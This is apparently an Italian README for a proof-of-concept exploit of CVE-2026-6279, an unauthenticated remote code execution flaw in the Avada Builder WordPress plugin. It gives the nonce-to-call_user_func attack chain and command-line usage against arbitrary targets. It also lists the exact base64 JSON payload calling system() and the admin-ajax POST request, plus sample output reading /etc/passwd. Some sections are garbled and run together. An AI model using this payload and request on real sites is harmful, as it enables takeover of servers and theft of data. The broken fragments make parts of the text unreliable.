
CVE-2026-6279 — Avada Builder <= 3.15.2 RCE non autenticata tramite call_user_func()
La vulnerabilità Remote Code Execution (RCE) senza autenticazione nel plugin Avada Builder (Fusion Builder) versione <= 3.15.2 utilizzato dal tema WordPress Avada — uno dei temi WordPress premium più popolari con oltre 900.000+ installazioni attive.
L'attacco sfrutta l'AJAX handler wp_ajax_nopriv_fusion_get_widget_markup che elabora il parametro render_logics tramite base64_decode() + json_decode() e lo passa a call_user_func() senza allowlist, consentendo l'esecuzione di funzioni PHP arbitrarie come system(), passthru(), shell_exec(), exec() e file_get_contents().
1. Nonce deterministico wp_create_nonce('fusion_load_nonce') per UID 0
(esposto nella pagina front-end con shortcode Avada)
2. AJAX non autenticato wp_ajax_nopriv_fusion_get_widget_markup
(non richiede login)
3. Deserializzazione base64_decode(render_logics) → json_decode()
(nessuna validazione della struttura)
4. call_user_func() call_user_func($value['function'], $value['args'])
(SENZA allowlist — qualsiasi funzione PHP può essere chiamata)
5. RCE! system("id") → uid=... nel corpo della risposta
╔═════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 • Avada Builder <= 315.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Proof of Concept — Single Target ║
║ ║
║ Copyright © 2026 XENON1337 ║
║ Thanks: Shadow Girlfriend 💜 ║
╚═══════════════════════════════════════════════════════════════╝
══════════════════════════════════════════════════════
Target : localhost:8888
Tempo : 2026-05-23 16:32:41
══════════════════════════════════════════════════════
[*] Rilevamento del target in corso...
[+] Avada rilevato! (http://localhost:8888)
[*] Ricerca del nonce fusion_load_nonce...
[+] Nonce trovato: b6d7b084c2 (fonte: homepage)
[*] Invio del payload RCE...
[*] Provo 5 funzioni × 3 widget = 15 combinazioni
══════════════════════════════════════════════════════
[★] RCE RIUSCITA!
Target : http://localhost:8888
Output : uid=1000(xenon1337)
Funzione: system()
Widget : WP_Widget_Recent_Posts
Nonce : b6d7b084c2 (homepage)
Tempo : 1.2s
[✓] Risultato salvato in vuln.txt
══════════════════════════════════════════════════════
# Senza protocollo (rilevamento automatico)
python3 CVE-2026-6279.py target.com
# Con protocollo
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# Con porta
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Codificato in Base64 → inviato come render_logics via POST a wp-admin/admin-ajax.php.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
class-fusion-app.php L1665)[fusion_post_cards] o [fusion_table_of_contents]check_ajax_referer('fusion_load_nonce') verifica solo che il nonce sia valido, non che l'utente sia autenticatocall_user_func($function, $args) accetta solo 1 argomento. Le funzioni che richiedono 2+ argomenti (come proc_open, popen) non possono essere sfruttate. Funzionano solo le funzioni a singolo argomento: system, passthru, shell_exec, exec, file_get_contents.
9.8 CRITICO (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
call_user_func() in get_value()wp_ajax_nopriv_ solo agli utenti autenticatirender_logicsQuesto PoC è stato creato esclusivamente a scopo educativo e di ricerca sulla sicurezza. L'uso contro sistemi senza autorizzazione è illegale. L'autore non è responsabile per qualsiasi uso improprio.
Copyright © 2026 XENON1337
Ringraziamenti speciali: Shadow Girlfriend 💜
| Funzione | Argomento | Risultato |
|---|
system() | id | uid=1000(xenon1337) ✅ |
passthru() | id | uid=1000(xenon1337) ✅ |
shell_exec() | id | uid=1000(xenon1337) ✅ |
exec() | id | uid=1000(xenon1337) ✅ |
file_get_contents() | /etc/passwd | root:x:0:0:... ✅ |
| File | Riga | Funzione |
|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() — deserializza render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() — call_user_func() senza allowlist |
fusion-widget.php | L44 | attributo render_logics |
fusion-widget.php | L389 | AJAX handler wp_ajax_nopriv_ |
class-fusion-builder.php | L7551 | registrazione nonce (deterministica per UID 0) |